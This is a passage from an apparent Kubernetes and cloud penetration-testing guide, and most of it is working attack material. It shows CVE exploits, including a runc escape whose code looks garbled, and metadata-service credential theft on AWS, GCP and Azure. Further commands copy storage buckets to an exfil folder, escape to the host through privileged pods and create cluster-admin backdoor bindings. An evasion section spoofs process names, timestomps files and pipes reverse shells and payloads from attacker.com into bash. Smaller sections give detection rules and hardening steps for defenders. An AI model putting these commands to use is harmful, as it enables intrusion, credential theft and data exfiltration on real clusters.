# Exploit (requires existing cluster access)
# This creates a websocket connection that bypasses authentication
curl -N -v \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "X-Stream-Protocol-Version: v2.channel.k8s.io" \
-H "Authorization: Bearer $TOKEN" \
"https://<api-server>:6443/api/v1/namespaces/default/pods/<pod-name>/exec?command=/bin/bash&stdin=true&stdout=true&tty=true"
# Follow-up privilege escalation
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --user=system:anonymous
Detection: Monitor for unusual WebSocket connections and protocol upgrades in API server logs.
12.2 CVE-2019-11246 - kubectl cp Path Traversal
MITRE ATT&CK: T1083 (File and Directory Discovery)
Affected Versions:
- kubectl < 1.12.9
- kubectl < 1.13.6
- kubectl < 1.14.2
Vulnerability: kubectl cp vulnerable to symlink attacks allowing arbitrary file writes on user's machine.
Exploitation:
# Create malicious pod with path traversal payload
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: path-traversal-pod
spec:
containers:
- name: malicious
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
mkdir -p /tmp/exploit
echo "malicious content" > /tmp/exploit/malicious.txt
cd /tmp/exploit
tar czf ../payload.tar.gz --transform='s|^|../../../root/.ssh/|' malicious.txt
cp ../payload.tar.gz /tmp/
sleep 3600
EOF
# Victim runs (thinking they're copying safe data):
kubectl cp path-traversal-pod:/tmp/payload.tar.gz ./safe-location/
# Result: Writes to ../../safe-location/../../../root/.ssh/malicious.txt = /root/.ssh/malicious.txt
12.3 CVE-2019-5736 - runc Container Escape
MITRE ATT&CK: T1611 (Escape to Host)
Affected: runc < 1.0-rc6, Docker < 18.09.2
Exploitation:
# Compile exploit (requires inside container)
cat > exploit.go << 'EOF'
package main
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
func main() {
fd, err := os.Create("/bin/sh")
if err != nil {
panic(err)
}
defer fd.Close()
fmt.Fprintln(fd, "#!/bin/bash")
fmt.Fprintln(fd, "cat > /tmp/shadow << 'EOF'")
fmt.Fprintln(fd, "attacker:$6$salt$hash:17000:0:99999:7:::")
fmt.Fprintln(fd, "EOF")
fmt.Fprintln(fd, "chmod 644 /tmp/shadow")
}
EOF
go build -o /tmp/exploit exploit.go
/tmp/exploit
# Trigger via docker exec (victim runs):
docker exec -it <container> /tmp/exploit
13. Cloud Provider Specific Attacks
13.1 AWS EKS Attack Vectors
IAM Roles for Service Accounts (IRSA) Exploitation
# Check if pod has IRSA configured
kubectl get sa -o yaml | grep eks.amazonaws.com/role-arn
# From compromised pod with IRSA
env | grep AWS
# Look for: AWS_WEB_IDENTITY_TOKEN_FILE, AWS_ROLE_ARN
# Automatic credential assumption
aws sts get-caller-identity
# Manual role assumption
TOKEN=$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)
aws sts assume-role-with-web-identity \
--role-arn $AWS_ROLE_ARN \
--role-session-name compromised-session \
--web-identity-token $TOKEN
# Enumerate accessible resources
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)
EKS Node Group Exploitation
# Extract node IAM role from metadata
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get temporary credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Token')
# EKS-specific enumeration
aws eks list-clusters
aws eks describe-cluster --name <cluster-name>
aws eks list-nodegroups --cluster-name <cluster-name>
# Potential privilege escalation
aws iam create-access-key --user-name admin-user
aws iam attach-user-policy --user-name admin-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
13.2 Google GKE Attack Vectors
Workload Identity Exploitation
# Check for Workload Identity annotation
kubectl get sa -o yaml | grep iam.gke.io/gcp-service-account
# Get GCP service account token
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token | jq -r '.access_token')
# Use token for GCP API calls
curl -H "Authorization: Bearer $TOKEN" \
https://www.googleapis.com/storage/v1/b
# Project enumeration
PROJECT_ID=$(curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/project/project-id)
# List GKE clusters
curl -H "Authorization: Bearer $TOKEN" \
"https://container.googleapis.com/v1/projects/$PROJECT_ID/locations/-/clusters"
# Access Cloud Storage
gsutil ls
gsutil -m cp -r gs://sensitive-bucket/* /tmp/exfil/
GCE Metadata Service Abuse
# Enumerate all metadata
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/?recursive=true | jq .
# Service account information
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
# Available scopes
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
# If cloud-platform scope exists, full GCP access possible
gcloud compute instances list
gcloud storage buckets list
gcloud sql instances list
13.3 Azure AKS Attack Vectors
Managed Identity Exploitation
# Get managed identity token
TOKEN=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r '.access_token')
# Current identity info
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
# Extract subscription and resource group
INSTANCE_INFO=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01")
SUBSCRIPTION_ID=$(echo $INSTANCE_INFO | jq -r '.compute.subscriptionId')
RESOURCE_GROUP=$(echo $INSTANCE_INFO | jq -r '.compute.resourceGroupName')
# Enumerate Azure resources
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/resources?api-version=2021-04-01"
Azure Key Vault Access
# Get Key Vault access token
KV_TOKEN=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
| jq -r '.access_token')
# List Key Vaults in resource group
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.KeyVault/vaults?api-version=2021-10-01"
# Access secrets (if permissions allow)
curl -s -H "Authorization: Bearer $KV_TOKEN" \
"https://<keyvault-name>.vault.azure.net/secrets?api-version=7.3"
# Get specific secret
curl -s -H "Authorization: Bearer $KV_TOKEN" \
"https://<keyvault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.3"
14. Detection & Evasion Techniques
MITRE ATT&CK: T1562 (Impair Defenses), T1070 (Indicator Removal)
14.1 Common Detection Mechanisms
Falco Runtime Security Rules
# Common rules that detect K8s attacks
- rule: Shell spawned in container
condition: spawned_process and container and proc.name in (shell_binaries)
output: "Shell spawned in container (user=%user.name command=%proc.cmdline container=%container.id)"
- rule: Launch Privileged Container
condition: container and container.privileged=true
output: "Privileged container launched (user=%user.name command=%proc.cmdline container=%container.id)"
- rule: Create files below root
condition: fd.name startswith /etc and evt.type=creat
output: "File created below /etc (user=%user.name command=%proc.cmdline file=%fd.name)"
Kubernetes Audit Log Patterns
# Suspicious API calls to watch for
{
"verb": "create",
"resource": "pods",
"objectRef": {
"apiVersion": "v1",
"resource": "pods"
},
"requestObject": {
"spec": {
"hostNetwork": true,
"containers": [{
"securityContext": {
"privileged": true
}
}]
}
}
}
14.2 Evasion Techniques
Process Name Spoofing
# Hide malicious process as kernel thread
cp /bin/bash /tmp/.hidden-shell
exec -a "[kworker/0:0]" /tmp/.hidden-shell
# Use existing system binaries
python3 -c "import subprocess; subprocess.run(['/bin/bash', '-i'])"
Timestomping
# Match file timestamps to avoid detection
REFERENCE_FILE="/usr/bin/kubectl"
touch -r $REFERENCE_FILE /tmp/malicious-binary
# Modify container creation time in etcd (if accessible)
etcdctl put /registry/pods/default/backdoor-pod "$(cat modified-pod.json)"
Memory-Only Operations
# Avoid writing to disk
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' | bash
curl -s http://attacker.com/payload.sh | bash
wget -O - http://attacker.com/script.py | python3
15. Real-World Case Studies
15.1 Tesla Kubernetes Cryptomining (2018)
MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1496 (Resource Hijacking)
Attack Chain:
- Discovery: RedLock found exposed Kubernetes dashboard via Shodan
- Initial Access: No authentication required on dashboard
- Execution: Deployed cryptomining containers disguised as monitoring
- Persistence: Used non-standard mining pool port for stealth
- Impact: Mined Monero cryptocurrency using Tesla's cloud resources
Technical Details:
# How the attack was discovered
shodan search 'kubernetes-dashboard' | grep tesla
# Mining deployment (reconstructed)
kubectl create deployment stealth-miner \
--image=xmrig/xmrig \
--replicas=50
kubectl set env deployment/stealth-miner \
POOL=pool.minexmr.com:443 \
WALLET=attacker-wallet-address
Lessons Learned:
- Always require authentication on dashboards
- Monitor cloud resource usage for anomalies
- Implement network egress policies
- Regular security audits of exposed services
15.2 Shopify Bug Bounty - GKE Metadata Service (2020)
MITRE ATT&CK: T1552.005 (Cloud Instance Metadata API)
Attack Chain:
- Initial Access: Web application SSRF vulnerability
- Cloud Access: Bypassed GKE Workload Identity via metadata service
- Escalation: Retrieved GCP service account tokens
- Impact: Access to internal Google Cloud Storage buckets
Technical Details:
# SSRF payload to access metadata
POST /api/fetch HTTP/1.1
Content-Type: application/json
{"url": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"}
# Token extraction and usage
TOKEN=$(curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token)
curl -H "Authorization: Bearer $TOKEN" https://storage.googleapis.com/storage/v1/b/shopify-internal/o
Mitigation:
- Block metadata service in network policies
- Use metadata proxy services
- Implement SSRF protections
15.3 Microsoft Azure - Azurescape (2021)
MITRE ATT&CK: T1611 (Escape to Host), CVE-2021-43810
Attack Chain:
- Initial Setup: Attacker creates ACI container in their Azure account
- Container Escape: Exploited runC vulnerability specific to ACI
- Cross-Tenant Access: Gained access to underlying Kubernetes cluster
- Impact: Could access other customers' containers and data
Significance: First cross-tenant container escape in major cloud provider
16. Remediation Guidance
16.1 Quick Fix Matrix
| Vulnerability | Immediate Fix | Long-term Solution |
|---|---|---|
| Exposed API Server | Add authentication, restrict CIDR | Implement RBAC, network policies |
| Privileged Pods | Pod Security Standards | Admission controllers, OPA |
| Weak RBAC | Remove excessive permissions | Least privilege design |
| Missing Network Policies | Default deny egress/ingress | Microsegmentation |
| Exposed kubelet | Disable anonymous auth | Certificate-based auth |
| etcd Exposure | Enable TLS, firewall | mTLS + strong authentication |
| Secret Management | Remove from env vars | External secret management |
16.2 Defense-in-Depth Implementation
Network Layer
# Default deny network policy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
---
# Block metadata service
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
Pod Security
# Enforce restricted Pod Security Standards
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
RBAC Hardening
# Remove default service account permissions
kubectl patch serviceaccount default -p '{"automountServiceAccountToken":false}'
# Create minimal role
kubectl create role app-minimal \
--verb=get,list \
--resource=configmaps \
--resource-name=app-config
kubectl create rolebinding app-minimal-binding \
--role=app-minimal \
--serviceaccount=default:app-sa
17. Command Cheat Sheet
17.1 External Reconnaissance
# Port scanning
nmap -p 443,6443,8080,2379,10250,10255,30000-32767 -sV <target>
# API discovery
curl -k https://<api>:6443/version
curl -k https://<api>:6443/api
# kubelet probing
curl http://<node>:10255/pods
curl -k https://<node>:10250/pods
# etcd testing
curl http://<etcd>:2379/version
etcdctl --endpoints=http://<etcd>:2379 get "" --prefix --keys-only
17.2 Automated Scanning
# kube-hunter
kube-hunter --remote <target>
kube-hunter --cidr 10.0.0.0/24
# kubeletctl
kubeletctl scan --cidr 10.0.0.0/24
kubeletctl --server <node> exec "id" -p <pod> -c <container>
# kube-bench
kube-bench run
17.3 Token Theft & Initial Access
# Extract service account token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# Configure kubectl
kubectl config set-cluster target --server=$APISERVER --insecure-skip-tls-verify=true
kubectl config set-credentials sa --token=$TOKEN
kubectl config set-context target --cluster=target --user=sa
kubectl config use-context target
17.4 Enumeration Commands
# Basic cluster info
kubectl cluster-info
kubectl version
kubectl get nodes -o wide
# RBAC discovery
kubectl auth can-i --list
kubectl get clusterrolebindings -o wide
kubectl get secrets -A
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true)'
17.5 Privilege Escalation
# Create privileged pod
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: privesc
spec:
hostNetwork: true
hostPID: true
containers:
- name: shell
image: ubuntu:latest
command: ["/bin/sleep", "3600"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
EOF
# Exec and escape
kubectl exec -it privesc -- chroot /host /bin/bash
# RBAC escalation
kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=default:my-sa
17.6 Cloud Metadata
# AWS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
18. Tools Comparison Matrix
| Tool | Best For | Pros | Cons | Use When |
|---|---|---|---|---|
| kubectl | Authenticated access | Official, comprehensive | Requires credentials | Have cluster access |
| kube-hunter | External scanning | Automated, comprehensive | False positives | Initial discovery |
| kubeletctl | kubelet exploitation | Targeted exploitation | Single purpose | Found exposed kubelet |
| peirates | Interactive post-exploit | Menu-driven, feature-rich | Complex setup | After initial access |
| kube-bench | Compliance checking | CIS standard | Config-heavy | Security assessment |
| Trivy | Vulnerability scanning | Fast, accurate | Requires DB updates | Image/cluster scanning |
19. MITRE ATT&CK for Kubernetes
| Tactic | Technique | Kubernetes Example | Detection |
|---|---|---|---|
| Initial Access | T1190 | Exposed dashboard | Web logs, ingress monitoring |
| Execution | T1609 | kubectl exec | Audit logs: pods/exec |
| Persistence | T1136 | Create service account | Audit logs: serviceaccount create |
| Privilege Escalation | T1611 | Container escape | Falco: privileged container |
| Defense Evasion | T1562 | Disable logging | Monitor security tool health |
| Credential Access | T1552.007 | Service account tokens | File access monitoring |
| Discovery | T1613 | kubectl get pods | Rate-based detection |
| Collection | T1005 | kubectl get secrets | Audit logs: secrets access |
| Exfiltration | T1567 | curl upload | Egress monitoring |
| Impact | T1496 | Cryptomining | Resource usage spikes |
20. References & Further Learning
Essential Documentation:
Tools & Resources:
Community:
⚠️ Legal Notice: This guide is for authorized testing only. Ensure you have proper permission before testing any systems.